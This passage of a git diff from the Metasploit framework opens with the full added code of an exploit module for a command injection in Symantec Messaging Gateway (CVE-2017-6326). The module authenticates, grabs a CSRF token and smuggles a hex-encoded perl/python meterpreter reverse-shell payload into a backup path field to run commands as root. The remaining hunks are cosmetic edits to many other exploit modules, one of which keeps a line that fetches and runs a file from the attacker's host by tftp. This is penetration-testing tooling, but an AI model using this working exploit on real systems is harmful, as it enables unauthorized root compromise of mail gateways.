+        This module exploits the command injection vulnerability of Symantec Messaging Gateway product. An authenticated user can execute a
+        terminal command under the context of the web server user which is root.
+
+        backupNow.do endpoint takes several user inputs and then pass them to the internal service which is responsible for executing
+        operating system command. One of the user input is being passed to the service without proper validation. That cause a command
+        injection vulnerability. But given parameters, such a SSH ip address, port and credentials are validated before executing terminal
+        command. Thus, you need to configure your own SSH service and set the required parameter during module usage.
+
+        This module was tested against Symantec Messaging Gateway 10.6.2-7.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
+        ],
+      'References'     =>
+        [
+          ['URL', 'https://pentest.blog/unexpected-journey-5-from-weak-password-to-rce-on-symantec-messaging-gateway/'],
+          ['CVE', '2017-6326']
+        ],
+      'DefaultOptions' =>
+        {
+          'SSL' => true,
+          'RPORT' => 443,
+          'Payload' => 'python/meterpreter/reverse_tcp'
+        },
+      'Platform'       => ['python'],
+      'Arch'           => ARCH_PYTHON,
+      'Targets'        => [[ 'Automatic', { }]],
+      'Privileged'     => true,
+      'DisclosureDate' => "Apr 26 2017",
+      'DefaultTarget'  => 0
+    ))
+
+    register_options(
+      [
+        Opt::RPORT(443),
+        OptString.new('USERNAME', [true, 'The username to login as']),
+        OptString.new('PASSWORD', [true, 'The password to login with']),
+        OptString.new('SSH_ADDRESS', [true, 'The ip address of your SSH service']),
+        OptInt.new('SSH_PORT', [true, 'The port of your SSH service', 22]),
+        OptString.new('SSH_USERNAME', [true, 'The username of your SSH service']),
+        OptString.new('SSH_PASSWORD', [true, 'The password of your SSH service']),
+        OptString.new('TARGETURI', [true, 'The base path to Symantec Messaging Gateway', '/'])
+      ]
+    )
+  end
+
+  def username
+    datastore['USERNAME']
+  end
+
+  def password
+    datastore['PASSWORD']
+  end
+
+  def ssh_address
+    datastore['SSH_ADDRESS']
+  end
+
+  def ssh_port
+    datastore['SSH_PORT']
+  end
+
+  def ssh_username
+    datastore['SSH_USERNAME']
+  end
+
+  def ssh_password
+    datastore['SSH_PASSWORD']
+  end
+
+  def auth
+    print_status("Performing authentication...")
+
+    sid        = ''
+    last_login = ''
+
+    res = send_request_cgi({
+      'method' => 'GET',
+      'uri' => normalize_uri(target_uri.path, 'brightmail', 'viewLogin.do')
+    })
+
+    if res && !res.get_cookies.empty?
+      last_login = res.get_hidden_inputs.first['lastlogin'] || ''
+      sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
+    else
+      fail_with(Failure::Unknown, "Didn't get cookie-set header from response.")
+    end
+
+    cookie = ''
+
+    # Performing authentication
+    res = send_request_cgi({
+      'method'    => 'POST',
+      'uri'       => normalize_uri(target_uri.path, 'brightmail', 'login.do'),
+      'headers'   => {
+        'Referer' => "https://#{peer}/brightmail/viewLogin.do",
+        'Connection' => 'keep-alive'
+      },
+      'cookie'    => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}",
+      'vars_post' => {
+        'lastlogin'  => last_login,
+        'userLocale' => '',
+        'lang'       => 'en_US',
+        'username'   => username,
+        'password'   => password,
+        'loginBtn'   => 'Login'
+      }
+    })
+
+    if res &&res.body =~ /Logged in/
+      cookie = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0]
+      print_good("Awesome..! Authenticated with #{username}:#{password}")
+    else
+      fail_with(Failure::Unknown, 'Credentials are not valid.')
+    end
+
+    cookie
+  end
+
+  def get_csrf_token(cookie)
+
+    print_status('Capturing CSRF token')
+
+    res = send_request_cgi({
+      'method'    => 'GET',
+      'uri'       => normalize_uri(target_uri.path, 'brightmail', 'admin', 'backup', 'backupNow.do'),
+      'cookie'    => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{cookie}",
+    })
+
+    csrf_token = nil
+    if res && res.code == 200
+      match = res.body.match(/type="hidden" name="symantec.brightmail.key.TOKEN" value="(\w+)"\/>/)
+      if match
+        csrf_token = match[1]
+        print_good("CSRF token is : #{csrf_token}")
+      else
+        fail_with(Failure::Unknown, 'There is no CSRF token at HTTP response.')
+      end
+    else
+      fail_with(Failure::Unknown, 'Something went wrong.')
+    end
+
+    csrf_token
+  end
+
+  def exploit
+
+    cookie = auth
+    csrf_token = get_csrf_token(cookie)
+
+    # I want to get meterpreter instead of cmd shell but SPACE and some other characters are blacklisted.
+    # Note that, we always have one SPACE at the beginning of python payload. e.g: import base64,sys;
+    # Here is the thing, use perl payload with ${IFS} technique and deliver the real payload inside of it :)
+    # So we gonna execute a perl payload on server side which will execute our meterpreter python payload.
+
+    cmd = "python -c \"#{payload.encoded}\""
+    final_payload = cmd.to_s.unpack("H*").first
+
+    p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"
+
+    # Ok. We are ready to go
+    send_request_cgi({
+    'method'    => 'POST',
+    'uri'       => normalize_uri(target_uri.path, 'brightmail', 'admin', 'backup', 'performBackupNow.do'),
+    'cookie'    => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{cookie}",
+    'vars_post' => {
+      'pageReuseFor'                        => 'backup_now',
+      'id'                                  => '',
+      'symantec.brightmail.key.TOKEN'       => csrf_token,
+      'backupData'                          => 'full',
+      'customType'                          => 'configuration',
+      'includeIncidentMessages'             => 'true',
+      'includeLogData'                      => 'true',
+      'backupTo'                            => '2',
+      'remoteBackupProtocol'                => 'SCP',
+      'remoteBackupAddress'                 => ssh_address,
+      'remoteBackupPort'                    => ssh_port,
+      'remoteBackupPath'                    => "tmp$(#{p})",
+      'requiresRemoteAuthentication'        => 'true',
+      'remoteBackupUsername'                => ssh_username,
+      'remoteBackupPassword'                => ssh_password,
+      }
+    })
+  end
+end
diff --git a/modules/exploits/linux/http/symantec_web_gateway_exec.rb b/modules/exploits/linux/http/symantec_web_gateway_exec.rb
index eb6f8730e0..370eb05cf9 100644
--- a/modules/exploits/linux/http/symantec_web_gateway_exec.rb
+++ b/modules/exploits/linux/http/symantec_web_gateway_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb
index a52a5a63d4..bb8806edf2 100644
--- a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb
+++ b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -119,5 +119,4 @@ class MetasploitModule < Msf::Exploit::Remote
       print_status("Server returned #{res.code.to_s}")
     end
   end
-
 end
diff --git a/modules/exploits/linux/http/symantec_web_gateway_lfi.rb b/modules/exploits/linux/http/symantec_web_gateway_lfi.rb
index fdee2bd34e..754b87fad2 100644
--- a/modules/exploits/linux/http/symantec_web_gateway_lfi.rb
+++ b/modules/exploits/linux/http/symantec_web_gateway_lfi.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb b/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb
index e849f5dcec..36cc8dae73 100644
--- a/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb
+++ b/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -86,5 +86,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/linux/http/symantec_web_gateway_restore.rb b/modules/exploits/linux/http/symantec_web_gateway_restore.rb
index 58c1b30cbd..88f0da2c8b 100644
--- a/modules/exploits/linux/http/symantec_web_gateway_restore.rb
+++ b/modules/exploits/linux/http/symantec_web_gateway_restore.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -187,34 +187,6 @@ class MetasploitModule < Msf::Exploit::Remote
     })
   end
 
-  def save_cred(username, password)
-    service_data = {
-      address: rhost,
-      port: rport,
-      service_name: protocol,
-      protocol: 'tcp',
-      workspace_id: myworkspace_id
-    }
-
-    credential_data = {
-      module_fullname: self.fullname,
-      origin_type: :service,
-      username: username,
-      private_data: password,
-      private_type: :password
-    }.merge(service_data)
-
-    credential_core = create_credential(credential_data)
-
-    login_data = {
-      core: credential_core,
-      last_attempted_at: DateTime.now,
-      status: Metasploit::Model::Login::Status::SUCCESSFUL
-    }.merge(service_data)
-
-    create_credential_login(login_data)
-  end
-
   def exploit
     print_status("Getting the PHPSESSID...")
     sid = get_sid
@@ -230,11 +202,10 @@ class MetasploitModule < Msf::Exploit::Remote
       return
     else
       # Good password, keep it
-      save_cred(datastore['USERNAME'], datastore['PASSWORD'])
+      store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
     end
 
     print_status("Trying restore.php...")
     inject_exec(sid)
   end
-
 end
diff --git a/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb b/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb
index f94ddf6572..138b4e2f3a 100644
--- a/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb
+++ b/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb
@@ -1,7 +1,7 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
-## Current source: https://github.com/rapid7/metasploit-framework
-###
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
 
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
@@ -78,7 +78,7 @@ class MetasploitModule < Msf::Exploit::Remote
       model = $~[:model].sub(/^[a-z]+/) { |s| s[0].upcase }
       model = "DS#{model}" unless model =~ /^[A-Z]/
     else
-      vprint_status("Detection failed")
+      vprint_error("Detection failed")
       return Exploit::CheckCode::Unknown
     end
 
diff --git a/modules/exploits/linux/http/tiki_calendar_exec.rb b/modules/exploits/linux/http/tiki_calendar_exec.rb
index 3a88a957f8..0e3d98d0bd 100644
--- a/modules/exploits/linux/http/tiki_calendar_exec.rb
+++ b/modules/exploits/linux/http/tiki_calendar_exec.rb
@@ -1,10 +1,9 @@
 ##
-## This module requires Metasploit: http://metasploit.com/download
-## Current source: https://github.com/rapid7/metasploit-framework
-###
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::HttpClient
@@ -94,7 +93,7 @@ class MetasploitModule < Msf::Exploit::Remote
       if res && res.body !~ /Log out/
         fail_with(Failure::UnexpectedReply, "#{peer} Login Failed with #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
       end
-      vprint_good("Login Successful!")
+      vprint_good("Login Successful")
       return cookie
     rescue ::Rex::ConnectionError
       fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
@@ -150,5 +149,4 @@ class MetasploitModule < Msf::Exploit::Remote
       fail_with(Failure::NoAccess, "#{peer} - Additional Permissions Required")
     end
   end
-
 end
diff --git a/modules/exploits/linux/http/tp_link_sc2020n_authenticated_telnet_injection.rb b/modules/exploits/linux/http/tp_link_sc2020n_authenticated_telnet_injection.rb
index 81b8192347..9b53214fe1 100644
--- a/modules/exploits/linux/http/tp_link_sc2020n_authenticated_telnet_injection.rb
+++ b/modules/exploits/linux/http/tp_link_sc2020n_authenticated_telnet_injection.rb
@@ -1,7 +1,7 @@
 ##
-## This module requires Metasploit: http://metasploit.com/download
-## Current source: https://github.com/rapid7/metasploit-framework
-###
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
 
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
@@ -89,7 +89,7 @@ class MetasploitModule < Msf::Exploit::Remote
             fail_with(Failure::Unknown, "Could not connect to web service - invalid credentials (response code: #{res.code}")
           else
             print_good("Successful login #{user} : #{pass}")
-            save_cred(user, pass)
+            store_valid_credential(user: user, private: pass) # service_name becomes http || https, a conflicting service_details could occur in future. Telnet lib does not yet provide service_details.
           end
         rescue ::Rex::ConnectionError
           fail_with(Failure::Unknown, "Could not connect to the web service")
@@ -172,32 +172,4 @@ class MetasploitModule < Msf::Exploit::Remote
         return nil
       end
     end
-
-  def save_cred(username, password)
-    service_data = {
-      address: rhost,
-      port: rport,
-      service_name: 'telnet',
-      protocol: 'tcp',
-      workspace_id: myworkspace_id
-    }
-
-    credential_data = {
-      module_fullname: self.fullname,
-      origin_type: :service,
-      username: username,
-      private_data: password,
-      private_type: :password
-    }.merge(service_data)
-
-    credential_core = create_credential(credential_data)
-
-    login_data = {
-      core: credential_core,
-      last_attempted_at: DateTime.now,
-      status: Metasploit::Model::Login::Status::SUCCESSFUL
-    }.merge(service_data)
-
-    create_credential_login(login_data)
-  end
 end
diff --git a/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb b/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb
index eec9a3793e..acda1f3efa 100644
--- a/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb
+++ b/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb
@@ -1,3 +1,8 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
 class MetasploitModule < Msf::Exploit::Remote
   Rank = NormalRanking
 
@@ -106,7 +111,7 @@ class MetasploitModule < Msf::Exploit::Remote
         'uri' => '/globe'
       })
     rescue ::Rex::ConnectionError
-      vprint_error("#{peer} - A connection error has occured")
+      vprint_error("#{peer} - A connection error has occurred")
       return Exploit::CheckCode::Unknown
     end
 
@@ -135,5 +140,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
diff --git a/modules/exploits/linux/http/trend_micro_imsva_exec.rb b/modules/exploits/linux/http/trend_micro_imsva_exec.rb
index 2b9bc1009a..5b6991a5dc 100644
--- a/modules/exploits/linux/http/trend_micro_imsva_exec.rb
+++ b/modules/exploits/linux/http/trend_micro_imsva_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -19,7 +19,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
         saveCert.imss endpoint takes several user inputs and performs blacklisting.
         After that it use them as argument of predefined operating system command
-        without proper sanitation. However,due to improper blacklisting rule it's possible to inject
+        without proper sanitation. However, due to improper blacklisting rule it's possible to inject
         arbitrary commands into it. InterScan Messaging Security prior to 9.1.-1600 affected by this issue.
 
         This module was tested against IMSVA 9.1-1600.
@@ -143,5 +143,4 @@ class MetasploitModule < Msf::Exploit::Remote
       }
     })
   end
-
 end
diff --git a/modules/exploits/linux/http/trendmicro_sps_exec.rb b/modules/exploits/linux/http/trendmicro_sps_exec.rb
index d27686ec61..30698cdfd6 100644
--- a/modules/exploits/linux/http/trendmicro_sps_exec.rb
+++ b/modules/exploits/linux/http/trendmicro_sps_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -154,54 +154,21 @@ class MetasploitModule < Msf::Exploit::Remote
           sid = res.get_cookies.scan(/([^=]*)=[^;]*;/).last.first
           sid_value = res.get_cookies.scan(/#{sid}=([^;]*);/).last.first
         end
-        report_cred(
-            ip: datastore['RHOST'],
-            port: datastore['RPORT'],
-            service_name: (ssl ? "https" : "http"),
-            user: datastore['ADMINACCOUNT'],
-            password: datastore['ADMINPASS'],
-            proof: "#{sid}=#{sid_value}"
-        )
+        store_valid_credential(user: datastore['ADMINACCOUNT'], private: datastore['ADMINPASS'], proof: "#{sid}=#{sid_value}")
         return {"sid" => sid, "sid_value" => sid_value}
       end
     end
     nil
   end
 
-  def report_cred(opts)
-    service_data = {
-        address: opts[:ip],
-        port: opts[:port],
-        service_name: opts[:service_name],
-        protocol: 'tcp',
-        workspace_id: myworkspace_id
-    }
-
-    credential_data = {
-        origin_type: :service,
-        module_fullname: fullname,
-        username: opts[:user],
-        private_data: opts[:password],
-        private_type: :password
-    }.merge(service_data)
-
-    login_data = {
-        core: create_credential(credential_data),
-        status: Metasploit::Model::Login::Status::SUCCESSFUL,
-        proof: opts[:proof]
-    }.merge(service_data)
-
-    create_credential_login(login_data)
-  end
-
   def exploit
     opts = login
     if opts
-      print_status("Successfully logged in.")
+      print_good("Successfully logged in")
       print_status("Exploiting...")
       execute_cmdstager(opts=opts)
     else
-      print_error("An error occured while loggin in.")
+      print_error("An error occurred while logged in")
     end
   end
 end
diff --git a/modules/exploits/linux/http/trueonline_billion_5200w_rce.rb b/modules/exploits/linux/http/trueonline_billion_5200w_rce.rb
index e08156c777..0502ebe3d0 100644
--- a/modules/exploits/linux/http/trueonline_billion_5200w_rce.rb
+++ b/modules/exploits/linux/http/trueonline_billion_5200w_rce.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,8 +12,8 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'TrueOnline / Billion 5200W-T Router Unauthenticated Command Injection',
       'Description'    => %q{
-        TrueOnline is a major ISP in Thailand, and it distributes a customised version of
-        the Billion 5200W-T router. This customised version has at least two command injection
+        TrueOnline is a major ISP in Thailand, and it distributes a customized version of
+        the Billion 5200W-T router. This customized version has at least two command injection
         vulnerabilities, one authenticated and one unauthenticated, on different firmware versions.
         This module will attempt to exploit the unauthenticated injection first, and if that fails,
         it will attempt to exploit the authenticated injection.
diff --git a/modules/exploits/linux/http/trueonline_p660hn_v1_rce.rb b/modules/exploits/linux/http/trueonline_p660hn_v1_rce.rb
index c93d089caf..b854cb5688 100644
--- a/modules/exploits/linux/http/trueonline_p660hn_v1_rce.rb
+++ b/modules/exploits/linux/http/trueonline_p660hn_v1_rce.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,8 +12,8 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'TrueOnline / ZyXEL P660HN-T v1 Router Unauthenticated Command Injection',
       'Description'    => %q{
-        TrueOnline is a major ISP in Thailand, and it distributes a customised version of
-        the ZyXEL P660HN-T v1 router. This customised version has an unauthenticated command
+        TrueOnline is a major ISP in Thailand, and it distributes a customized version of
+        the ZyXEL P660HN-T v1 router. This customized version has an unauthenticated command
         injection vulnerability in the remote log forwarding page.
         This module was tested in an emulated environment, as the author doesn't have access to the
         Thai router any more. Any feedback should be sent directly to the module's author, as well as
diff --git a/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb b/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb
index 11b66b7839..577c36ca3b 100644
--- a/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb
+++ b/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,8 +14,8 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'TrueOnline / ZyXEL P660HN-T v2 Router Authenticated Command Injection',
       'Description'    => %q{
-        TrueOnline is a major ISP in Thailand, and it distributes a customised version of
-        the ZyXEL P660HN-T v2 router. This customised version has an authenticated command injection
+        TrueOnline is a major ISP in Thailand, and it distributes a customized version of
+        the ZyXEL P660HN-T v2 router. This customized version has an authenticated command injection
         vulnerability in the remote log forwarding page. This can be exploited using the "supervisor"
         account that comes with a default password on the device.
         This module was tested in an emulated environment, as the author doesn't have access to the
@@ -133,7 +133,7 @@ cd /tmp;tftp -g -r #{filename} #{datastore['LHOST']};chmod +x /tmp/#{filename};s
         ending = counter + 10
       end
 
-      print_status("#{peer} - Successfully injected part of the payload, waiting 5 seconds before proceeding.")
+      print_good("#{peer} - Successfully injected part of the payload, waiting 5 seconds before proceeding.")
       sleep 5
 
       send_cmd("echo -n \"#{script_file[counter+1..ending]}\">>#{exec_file}")
diff --git a/modules/exploits/linux/http/vap2500_tools_command_exec.rb b/modules/exploits/linux/http/vap2500_tools_command_exec.rb
index 498a81ea17..c3ba5d227a 100644
--- a/modules/exploits/linux/http/vap2500_tools_command_exec.rb
+++ b/modules/exploits/linux/http/vap2500_tools_command_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/http/vcms_upload.rb b/modules/exploits/linux/http/vcms_upload.rb
index 6932f3ddc0..fe619fda69 100644
--- a/modules/exploits/linux/http/vcms_upload.rb
+++ b/modules/exploits/linux/http/vcms_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/http/wanem_exec.rb b/modules/exploits/linux/http/wanem_exec.rb
index 3e4d6a88d2..cd112e5560 100644
--- a/modules/exploits/linux/http/wanem_exec.rb
+++ b/modules/exploits/linux/http/wanem_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -106,5 +106,4 @@ class MetasploitModule < Msf::Exploit::Remote
       print_error("Sending payload failed")
     end
   end
-
 end
diff --git a/modules/exploits/linux/http/webcalendar_settings_exec.rb b/modules/exploits/linux/http/webcalendar_settings_exec.rb
index 6aef1d7aff..0555dfb873 100644
--- a/modules/exploits/linux/http/webcalendar_settings_exec.rb
+++ b/modules/exploits/linux/http/webcalendar_settings_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,7 +12,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => "WebCalendar 1.2.4 Pre-Auth Remote Code Injection",
       'Description'    => %q{
-          This modules exploits a vulnerability found in k5n.us WebCalendar, version 1.2.4 or
+          This module exploits a vulnerability found in k5n.us WebCalendar, version 1.2.4 or
         less.  If not removed, the settings.php script meant for installation can be
         update by an attacker, and then inject code in it.  This allows arbitrary code
         execution as www-data.
diff --git a/modules/exploits/linux/http/webid_converter.rb b/modules/exploits/linux/http/webid_converter.rb
index dfb8999352..e0f35c2eba 100644
--- a/modules/exploits/linux/http/webid_converter.rb
+++ b/modules/exploits/linux/http/webid_converter.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/http/wipg1000_cmd_injection.rb b/modules/exploits/linux/http/wipg1000_cmd_injection.rb
index aae9b1128d..dea018a17c 100644
--- a/modules/exploits/linux/http/wipg1000_cmd_injection.rb
+++ b/modules/exploits/linux/http/wipg1000_cmd_injection.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -68,5 +68,4 @@ class MetasploitModule < Msf::Exploit::Remote
       }
     )
   end
-
 end
diff --git a/modules/exploits/linux/http/zabbix_sqli.rb b/modules/exploits/linux/http/zabbix_sqli.rb
index ce5d2cb19f..b7d265223d 100644
--- a/modules/exploits/linux/http/zabbix_sqli.rb
+++ b/modules/exploits/linux/http/zabbix_sqli.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -138,7 +138,7 @@ class MetasploitModule < Msf::Exploit::Remote
     })
 
     if res and res.code == 200 and res.body =~ /(Script added)/
-      print_status("Payload injected successfully")
+      print_good("Payload injected successfully")
     else
       fail_with(Failure::Unknown, "#{peer} - Payload injection failed!")
     end
@@ -171,7 +171,7 @@ class MetasploitModule < Msf::Exploit::Remote
     })
 
     if res and res.code == 200 and res.body =~ /(Script deleted)/
-      print_status("Script removed successfully")
+      print_good("Script removed successfully")
     else
       print_warning("Unable to remove script #{@scriptid}")
     end
diff --git a/modules/exploits/linux/http/zen_load_balancer_exec.rb b/modules/exploits/linux/http/zen_load_balancer_exec.rb
index a0acafb5cf..9a564f5061 100644
--- a/modules/exploits/linux/http/zen_load_balancer_exec.rb
+++ b/modules/exploits/linux/http/zen_load_balancer_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -114,5 +114,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
diff --git a/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb b/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb
index c10168dc4e..bd009d1795 100644
--- a/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb
+++ b/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -95,7 +95,7 @@ class MetasploitModule < Msf::Exploit::Remote
         print_error("Authentication failed. Incorrect username/password.")
         return
       end
-      print_status("Sent payload successfully")
+      print_good("Sent payload successfully")
     rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
       print_error("Connection failed")
     rescue
@@ -105,6 +105,5 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
 
   end
-
 end
 
diff --git a/modules/exploits/linux/ids/alienvault_centerd_soap_exec.rb b/modules/exploits/linux/ids/alienvault_centerd_soap_exec.rb
index 7074b39aa1..8d2da7464a 100644
--- a/modules/exploits/linux/ids/alienvault_centerd_soap_exec.rb
+++ b/modules/exploits/linux/ids/alienvault_centerd_soap_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -135,5 +135,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     res
   end
-
 end
diff --git a/modules/exploits/linux/ids/snortbopre.rb b/modules/exploits/linux/ids/snortbopre.rb
index b4a69eedc8..a9aca410f1 100644
--- a/modules/exploits/linux/ids/snortbopre.rb
+++ b/modules/exploits/linux/ids/snortbopre.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -95,5 +95,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect_udp
   end
-
 end
diff --git a/modules/exploits/linux/imap/imap_uw_lsub.rb b/modules/exploits/linux/imap/imap_uw_lsub.rb
index 647aeba29b..9a889be080 100644
--- a/modules/exploits/linux/imap/imap_uw_lsub.rb
+++ b/modules/exploits/linux/imap/imap_uw_lsub.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -83,5 +83,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/linux/local/bpf_priv_esc.rb b/modules/exploits/linux/local/bpf_priv_esc.rb
index 30bfd6b3b3..a60f513841 100644
--- a/modules/exploits/linux/local/bpf_priv_esc.rb
+++ b/modules/exploits/linux/local/bpf_priv_esc.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/local/cron_persistence.rb b/modules/exploits/linux/local/cron_persistence.rb
index 4a74c0e21f..4faac493cf 100644
--- a/modules/exploits/linux/local/cron_persistence.rb
+++ b/modules/exploits/linux/local/cron_persistence.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
